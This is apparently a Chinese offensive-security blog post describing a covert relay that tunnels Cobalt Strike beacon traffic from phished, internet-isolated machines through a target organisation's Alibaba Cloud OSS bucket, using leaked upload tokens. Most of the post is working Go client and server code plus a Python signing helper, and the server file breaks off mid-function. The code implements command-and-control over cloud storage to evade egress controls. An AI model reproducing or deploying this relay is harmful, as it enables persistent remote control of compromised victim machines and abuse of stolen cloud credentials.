阿里云oss转发上线-实现不出网钓鱼

阿里云服务器勒索病毒攻防实战:从入侵原理到完整恢复指南 勒索病毒是一种通过加密用户文件进行勒索的恶意软件,其核心原理是利用非对称加密算法锁定数据,并以此要挟受害者支付赎金。在云计算时代,云服务器同样面临此类威胁,其技术价值在于通过自动化攻击链对企业核心资产造成毁灭性打击。典型的应用场景包括利用弱口令、软件漏洞入侵云主机,进而加密业务数据。本文聚焦阿里云ECS环境,深入剖析勒索病毒的攻击路径与行为特征,并结合云安全中心的防勒索服务,详解从紧急隔离、取证到基于备份恢复的完整操作流程,特别强调了安全组配置、快照管理与数据库一致性恢复等关键实践,旨在帮助用户构建有效的数 阅读详情

本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余

实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送一个本地监听木马到钓鱼机器,再发送一个client,也就是agent到钓鱼机器,当然可以将两个写成一块发送给钓鱼受害者,server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口,获得上传成功的返回包(通常包含泄露的oss的token,上传成功的路径及其文件名)
2.我们将返回包的json全部复制到本地为新的json文件,命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径,token,进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能

本地为方便演示我们使用服务器下载json文件,提取json文件中的关键信息,进行上传

首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=在这里插入图片描述
那么通过实际情况,一般上传接口是有oss的token
生成policy和signature

import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time

# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint,例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间,单位为秒。
expire_time = 14400


def generate_expiration(seconds):
    """
    通过指定有效的时长(秒)生成过期时间。
    :param seconds: 有效时长(秒)。
    :return: ISO8601 时间字符串,如:"2014-12-01T12:00:00.000Z"。
    """
    now = int(time.time())
    expiration_time = now + seconds
    gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
    gmt += 'Z'
    return gmt


def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
    """
    生成签名字符串Signature。
    :param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
    :param expiration: 签名过期时间,按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。示例值:"2014-12-01T12:00:00.000Z"。
    :param conditions: 策略条件,用于限制上传表单时允许设置的值。
    :param policy_extra_props: 额外的policy参数,后续如果policy新增参数支持,可以在通过dict传入额外的参数。
    :return: signature,签名字符串。
    """
    policy_dict = {
        'expiration': expiration,
        'conditions': conditions
    }
    if policy_extra_props is not None:
        policy_dict.update(policy_extra_props)
    policy = json.dumps(policy_dict).strip()
    policy_encode = base64.b64encode(policy.encode())
    h = hmac.new(access_key_secret.encode(), policy_encode, sha)
    sign_result = base64.b64encode(h.digest()).strip()
    return sign_result.decode()

def generate_upload_params():
    policy = {
        # 有效期。
        "expiration": generate_expiration(expire_time),
        # 约束条件。
        "conditions": [
            # 未指定success_action_redirect时,上传成功后的返回状态码,默认为 204。
            ["eq", "$success_action_status", "200"],
            # 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始,则可以写为["starts-with", "$key", "user/user1"]。
            ["starts-with", "$key", upload_dir],
            # 限制上传Object的最小和最大允许大小,单位为字节。
            ["content-length-range", 1, 1000000],
            # 限制上传的文件为指定的图片类型
            ["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
        ]
    }
    signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
    response = {
        'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
        'ossAccessKeyId': access_key_id,
        'signature': signature,
        'host': host,
        'dir': upload_dir
        # 可以在这里再自行追加其他参数
    }
    print(json.dumps(response))
    return json.dumps(response)

if __name__ == '__main__':
    generate_upload_params();

这样就可以使用policy和signature
这里key不能只写1029/这样的路径,后面要加文件名才能成功上传
1029/ff.txt这种,我们先手动上传试试
在这里插入图片描述
在这里插入图片描述
可以看到上传成功,然后使用go写的客户端试试上传
在这里插入图片描述

在这里插入图片描述
客户端成功上传文件到oss,并且我们的上传是循环的,
在这里插入图片描述

上传的内容为
在这里插入图片描述
从oss下载之后,可以看到文件名字是policy.txt,这是从阿里云oss下载的文件名字(也就是Content-Disposition),但存储桶上是ff.txt的名字(也就是key)
目前客户端上传功能成功,然后写客户端下载功能,服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777,服务器要发送到cs的ip:17777,这样就可以了,

当完成客户端上传下载,服务端下载功能时候收到请求上线如下
在这里插入图片描述
可以看到请求转发过来了(此时只是先客户端上传监听到的数据到oss,然后服务端下载到本地转发到cs服务器),那么我们需要完成服务端上传的功能,以至于cs的返回包上传到oss上,供客户端读取
在这里插入图片描述
可以看到server端的上传包(也就是上传的cs返回的包)
此时的问题是client和server的上传文件有冲突问题,client上传太快了,server会oss检测当前文件的内容和之前的内容是否一致,client传的太快会让server认为和上一个内容一样,所以就不上传返回包请求了,在这里插入图片描述
可以看到ipconfig也可以
但是这个有个bug,就是运行client运行中间卡住了
在这里插入图片描述
最终方案,client端上传之后等待60秒,server端上传之后等待30秒,
最终代码:
client.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "os"
    "path/filepath"
    "net"
    "net/http"
    "io"
    "io/ioutil"
    "encoding/json"
    "mime/multipart"
    "strings"
    "net/url"
    "time"
    "strconv"
    "encoding/base64"
    "sync"
    
    
    "github.com/google/uuid"
)

var ClientUploadData *UploadData

var previousContent string


// 定义结构体:File 结构体
type UploadData struct {
    Key                  string `json:"key"`
    SuccessActionStatus  string `json:"success_action_status"`
    ContentDisposition   string `json:"Content-Disposition"`
    XOssMetaUUID         string `json:"x-oss-meta-uuid"`
    XOssMetaTag          string `json:"x-oss-meta-tag"`
    OSSAccessKeyID       string `json:"OSSAccessKeyId"`
    Policy               string `json:"policy"`
    Signature            string `json:"Signature"`
    ActionURL            string `json:"action"`
    FileName             string `json:"file.filename"`
    FileContentType      string `json:"file.content_type"`
    FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
    Success    interface{} `json:"success"`
    UploadData UploadData  `json:"uploadData"`
    Error      interface{} `json:"error"`
}





func startClient(bind_address string) {
    log.Println("[+]", "客户端启动成功")

    server, err := net.Listen("tcp", bind_address)
    if err != nil {
        log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
    }
    for {
        conn, err := server.Accept()
        if err != nil {
            log.Println("Accept() failed, err: ", err)
            continue
        }
        log.Println("[+]", "有客户进入:", conn.RemoteAddr())
        go process(conn)
        
    }
}

func Get(filename string) []byte {
    programDir, err := getProgramDirectory()
    if err != nil {
        log.Println("获取程序目录失败:", err)
        return nil
    }

    configFilePath := filepath.Join(programDir, filename)
    log.Println("程序目录:", programDir)
    log.Println("文件路径:", configFilePath)
    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return nil
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Get.fileURL:", fileURL)
    fmt.Println(fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return nil
    }
    defer resp.Body.Close()

    content, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Println("读取响应体失败:", err)
        return nil
    }
    log.Println("客户端下载读到的内容:", content)
    decodedContent, err := base64.StdEncoding.DecodeString(string(content))
    if err != nil {
        log.Println("Base64解码失败:", err)
        return nil
    }

    // 输出字符串内容
    log.Println("客户端下载读到的内容base64:", string(decodedContent))
    return content
}

func renameFile(oldPath, newPath string) error {
    err := os.Rename(oldPath, newPath)
    if err != nil {
        return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
    }
    log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
    return nil
}


func saveToFile(filename, content string) {
    err := os.WriteFile(filename, []byte(content), 0644)
    if err != nil {
        log.Println("[x]", "保存文件失败:", err)
    }
}

func getProgramDir() string {
    dir, err := os.Getwd()
    if err != nil {
        log.Println("[x]", "获取程序运行目录失败:", err)
        return "./"
    }
    return dir + "/"
}

func FileExists(filePath string) bool {
    _, err := os.Stat(filePath)
    return err == nil
}

func processContentAndSave(currentContent string) {
    var fileName string

    if strings.Contains(currentContent, "client") {
        fileName = getProgramDir() + "Send-Client11.json"
        log.Println("[+]", "判断是否存在 client 文件")

    } else if strings.Contains(currentContent, "server") {
        fileName = getProgramDir() + "Send-Server11.json"
        log.Println("[+]", "判断是否存在 server 文件")

    } else {
        log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
        return
    }

    log.Println("[+]", "文件名:", fileName)

    if _, err := os.Stat(fileName); os.IsNotExist(err) {
        saveToFile(fileName, string(currentContent))
        log.Println("[+]", "文件不存在,已保存为:", fileName)
    } else if err == nil {
        log.Println("[+]", "文件已存在,跳过保存:", fileName)
    } else {
        log.Println("[-]", "检查文件时发生错误:", err)
    }
}

func Getfile(filename string) (string, error) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    programDir, err := getProgramDirectory()
    if err != nil {
        return "", fmt.Errorf("failed to get program directory: %v", err)
    }

    configFilePath := filepath.Join(programDir, filename)

    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return "", err
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Getfile.fileURL:",fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return "", err
    }
    defer resp.Body.Close()

    return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    for key, value := range UploadData.Data {
        writer.WriteField(key, value)
    }

    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile(UploadData.Name, filename)
    if err != nil {
        return "", err
    }

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    req, err := http.NewRequest("POST", UploadData.ActionURL, body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}*/

func logRequest(req *http.Request) {
    log.Println("Request Method:", req.Method)
    log.Println("Request URL:", req.URL.String())
    log.Println("Request Headers:")
    for key, values := range req.Header {
        for _, value := range values {
            log.Printf("  %s: %s\n", key, value)
        }
    }

    // 打印请求体内容
    bodyBytes, err := io.ReadAll(req.Body)
    if err != nil {
        log.Println("Error reading request body:", err)
        return
    }
    req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
    log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    // Write fields directly from UploadData struct
    writer.WriteField("key", data.Key)
    writer.WriteField("success_action_status", data.SuccessActionStatus)
    writer.WriteField("Content-Disposition", data.ContentDisposition)
    writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
    writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
    writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
    writer.WriteField("policy", data.Policy)
    writer.WriteField("Signature", data.Signature)


    // Create form file part for file content
    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile("file", filename)
    if err != nil {
        return "", err
    }
    

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    // Create and send request

    req, err := http.NewRequest("POST", data.ActionURL, body)
    //req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    logRequest(req)
    //client := &http.Client{}
    proxyURL, _ := url.Parse("http://127.0.0.1:8083")
     if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()
    
    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
    line = 1
    col = 1
    for i := int64(0); i < offset; i++ {
        if data[i] == '\n' {
            line++
            col = 1
        } else {
            col++
        }
    }
    return
}


/*func parseUploadToken(jsonData []byte) (UploadData, error) {
    var tokenResponse UploadTokenResponse
    err := json.Unmarshal(jsonData, &tokenResponse)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    return tokenResponse.UploadData, nil
}*/

func parseUploadToken(jsonData []byte) (UploadData, error) {
//    var tokenResponse UploadTokenResponse
    var uploadData UploadData
    err := json.Unmarshal(jsonData, &uploadData)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    log.Println("parseUploadToken.UploadData",uploadData)
    return uploadData, nil
}






func getProgramDirectory() (string, error) {
    execPath, err := os.Executable()
    if err != nil {
        return "", err
    }
    return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
    programDir, err := getProgramDirectory()
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
    }

    filename = filepath.Base(filename)
    configFilePath := filepath.Join(programDir, filename)

    data, err := ioutil.ReadFile(configFilePath)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
    }

    uploadData, err := parseUploadToken(data)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
    }

    return uploadData, nil
}


func Send(name string, filename string, content string) {
    UploadData, err := readUploadTokenFromFile(name)
    if err != nil {
        fmt.Println("Error reading or parsing JSON from file:", err)
        return
    }

    _, err = uploadFile(UploadData, filename, content)
    if err != nil {
        log.Println("文件上传失败:", err)
        return
    }
}

var fileLock sync.Mutex // 定义一个文件锁


func process(conn net.Conn) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    uuid := uuid.New()
    key := uuid.String()
    defer conn.Close()
    var buffer bytes.Buffer
    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
    for {
        var buf [1]byte
        n, err := conn.Read(buf[:])
        if err != nil {
            log.Println("[-]", uuid, "read from connect failed, err:", err)
            break
        }
        buffer.Write(buf[:n])
        if strings.Contains(buffer.String(), "\r\n\r\n") {
            if strings.Contains(buffer.String(), "Content-Length") {
                ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
                log.Println("[+]", uuid, "数据包长度为:", strings.TrimSpace(ContentLength))
                if strings.TrimSpace(ContentLength) != "0" {
                    intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
                    if err != nil {
                        log.Println("[-]", uuid, "Content-Length转换失败")
                    }
                    for i := 1; i <= intContentLength; i++ {
                        var b [1]byte
                        n, err = conn.Read(b[:])
                        if err != nil {
                            log.Println("[-]", uuid, "read from connect failed, err", err)
                            break
                        }
                        buffer.Write(b[:n])
                    }
                }
            }
            if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
                for {
                    var b [1]byte
                    n, err = conn.Read(b[:])
                    if err != nil {
                        log.Println("[-]", uuid, "read from connect failed, err", err)
                        break
                    }
                    buffer.Write(b[:n])
                    if strings.Contains(buffer.String(), "0\r\n\r\n") {
                        break
                    }
                }
            }
            log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
            break
        }
    }
    b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
    Send("Send-Client.json", key+"client.zip", b64)
    log.Println("[+]发送成功")

    log.Println("文件上传完成,暂停60秒...")
    time.Sleep(60 * time.Second) // Pause for 60 seconds

    
    i := 1

    for {
        i++
        time.Sleep(1 * time.Second)
        if i >= 10 {
            log.Println("[x]", "超时,断开")
            return
        }

        clientURL, err := Getfile("Send-Server.json")
        if err != nil {
            log.Println("[-]", "获取服务器文件失败:", err)
            return
        }
        log.Println("[-]", "process.clientURL:", clientURL)
        currentContent, err := fetchFileContent(clientURL)
        if err != nil {
            log.Println("[-]", "获取客户端文件失败:", err)
            return
        }


        if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
            /*if strings.HasPrefix(currentContent, `{"success`) {
                processContentAndSave(currentContent)
                if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
                    clientNewPath := getProgramDir() + "Send-Client.json"
                    os.Remove(clientNewPath)
                    err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Client11.json")
                    time.Sleep(5 * time.Second)
                    serverNewPath := getProgramDir() + "Send-Server.json"
                    os.Remove(serverNewPath)
                    err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Server11.json")
                }
            }*/
            log.Println("[+]", "文件内容不一致,开始处理")

            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            }
        } else {
            log.Println("[+]", "文件内容一致,无需处理")
            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            return
        }
    }
    }
    log.Println("[+]", "发送完成")
}

func checkURLStatus(url string) bool {
    resp, err := http.Head(url)
    if err != nil {
        fmt.Printf("检查 URL 失败: %v\n", err)
        return false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        return true
    }
    fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
    return false
}

func waitForNextHalfHour() {
    now := time.Now()
    next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
    duration := next.Sub(now)

    fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
    time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
    resp, err := http.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    return err
}

func safeDownloadFile(filepath string, url string) error {
    tempFilepath := filepath + ".tmp"

    err := downloadFile(tempFilepath, url)
    if err != nil {
        return fmt.Errorf("下载失败: %w", err)
    }

    err = os.Rename(tempFilepath, filepath)
    if err != nil {
        return fmt.Errorf("替换文件失败: %w", err)
    }

    return nil
}

func timedownload() {
    execPath, err := os.Executable()
    if err != nil {
        fmt.Printf("获取程序路径失败: %v\n", err)
        return
    }
    execDir := filepath.Dir(execPath)

    filepath1 := filepath.Join(execDir, "Send-Client.json")
    filepath2 := filepath.Join(execDir, "Send-Server.json")
    
    url1 := "http://xxxxx:xx/Send-Client.json"
    url2 := "http://xxxxx:xx/Send-Server.json"
    
    fmt.Printf("检查文件1:%s\n", url1)
    if checkURLStatus(url1) {
        err = safeDownloadFile(filepath1, url1)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url1)
    }

    fmt.Printf("检查文件2:%s\n", url2)
    if checkURLStatus(url2) {
        err = safeDownloadFile(filepath2, url2)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url2)
    }

    for {
        waitForNextHalfHour()

        fmt.Printf("检查文件1:%s\n", url1)
        if checkURLStatus(url1) {
            err = safeDownloadFile(filepath1, url1)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url1)
        }

        fmt.Printf("检查文件2:%s\n", url2)
        if checkURLStatus(url2) {
            err = safeDownloadFile(filepath2, url2)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url2)
        }
    }

}


func main() {

    go timedownload()
    bind_address := "127.0.0.1:17777"
    startClient(bind_address)

}

server.go

package main

import (
    "bytes"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"net"
	"net/http"
	"io"
	"io/ioutil"
	"encoding/json"
	"mime/multipart"
	"strings"
	"net/url"
	"time"
	"strconv"
	"encoding/base64"
	"sync"

)

var ClientUploadData *UploadData

var previousContent string  // 存储上一次文件内容


// 定义结构体:File 结构体
type UploadData struct {
	Key                  string `json:"key"`
	SuccessActionStatus  string `json:"success_action_status"`
	ContentDisposition   string `json:"Content-Disposition"`
	XOssMetaUUID         string `json:"x-oss-meta-uuid"`
	XOssMetaTag          string `json:"x-oss-meta-tag"`
	OSSAccessKeyID       string `json:"OSSAccessKeyId"`
	Policy               string `json:"policy"`
	Signature            string `json:"Signature"`
	ActionURL            string `json:"action"`
	FileName             string `json:"file.filename"`
	FileContentType      string `json:"file.content_type"`
	FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
	Success    interface{} `json:"success"`
	UploadData UploadData  `json:"uploadData"`
	Error      interface{} `json:"error"`
}





func Get(filename string) []byte {
	programDir, err := getProgramDirectory()
	if err != nil {
		log.Println("获取程序目录失败:", err)
		return nil
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("程序目录:", programDir)
	log.Println("文件路径:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	log.Println("jsondate:",jsondate)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return nil
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	fmt.Println(fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return nil
	}
	defer resp.Body.Close()

	content, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println("读取响应体失败:", err)
		return nil
	}
	log.Println("内容:", content)
	return content
}

func renameFile(oldPath, newPath string) error {
	err := os.Rename(oldPath, newPath)
	if err != nil {
		return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
	}
	log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
	return nil
}


func saveToFile(filename, content string) {
	err := os.WriteFile(filename, []byte(content), 0644)
	if err != nil {
		log.Println("[x]", "保存文件失败:", err)
	}
}

func getProgramDir() string {
	dir, err := os.Getwd()
	if err != nil {
		log.Println("[x]", "获取程序运行目录失败:", err)
		return "./"
	}
	return dir + "/"
}

func FileExists(filePath string) bool {
	_, err := os.Stat(filePath)
	return err == nil
}

func processContentAndSave(currentContent string) {
	var fileName string

	if strings.Contains(currentContent, "client") {
		fileName = getProgramDir() + "Send-Client11.json"
		log.Println("[+]", "判断是否存在 client 文件")

	} else if strings.Contains(currentContent, "server") {
		fileName = getProgramDir() + "Send-Server11.json"
		log.Println("[+]", "判断是否存在 server 文件")

	} else {
		log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
		return
	}

	log.Println("[+]", "文件名:", fileName)

	if _, err := os.Stat(fileName); os.IsNotExist(err) {
		saveToFile(fileName, string(currentContent))
		log.Println("[+]", "文件不存在,已保存为:", fileName)
	} else if err == nil {
		log.Println("[+]", "文件已存在,跳过保存:", fileName)
	} else {
		log.Println("[-]", "检查文件时发生错误:", err)
	}
}



func Getfile(filename string) (string, error) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("捕获异常:%v", r)
		}
	}()

	programDir, err := getProgramDirectory()
	log.Println("programDir:", programDir)
	if err != nil {
		return "", fmt.Errorf("failed to get program directory: %v", err)
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("configFilePath:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return "", err
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	log.Println("fileURL:", fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return "", err
	}
	defer resp.Body.Close()

	return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
	resp, err := http.Get(url)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}
	log.Println(string(body))
	return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	for key, value := range UploadData.Data {
		writer.WriteField(key, value)
	}

	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile(UploadData.Name, filename)
	if err != nil {
		return "", err
	}

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	req, err := http.NewRequest("POST", UploadData.ActionURL, body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}*/

func logRequest(req *http.Request) {
	log.Println("Request Method:", req.Method)
	log.Println("Request URL:", req.URL.String())
	log.Println("Request Headers:")
	for key, values := range req.Header {
		for _, value := range values {
			log.Printf("  %s: %s\n", key, value)
		}
	}

	// 打印请求体内容
	bodyBytes, err := io.ReadAll(req.Body)
	if err != nil {
		log.Println("Error reading request body:", err)
		return
	}
	req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
	log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	// Write fields directly from UploadData struct
	writer.WriteField("key", data.Key)
	writer.WriteField("success_action_status", data.SuccessActionStatus)
	writer.WriteField("Content-Disposition", data.ContentDisposition)
	writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
	writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
	writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
	writer.WriteField("policy", data.Policy)
	writer.WriteField("Signature", data.Signature)


	// Create form file part for file content
	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile("file", filename)
	if err != nil {
		return "", err
	}
	

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	// Create and send request

	req, err := http.NewRequest("POST", data.ActionURL, body)
	//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())
	logRequest(req)
	//client := &http.Client{}
	proxyURL, _ := url.Parse("http://127.0.0.1:8083")
	 if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
	}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	
	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
	line = 1
	col = 1
	for i := int64(0); i < offset; i++ {
		if data[i] == '\n' {
			line++
			col = 1
		} else {
			col++
		}
	}
	return
}


func parseUploadToken(jsonData []byte) (UploadData, error) {
//	var tokenResponse UploadTokenResponse
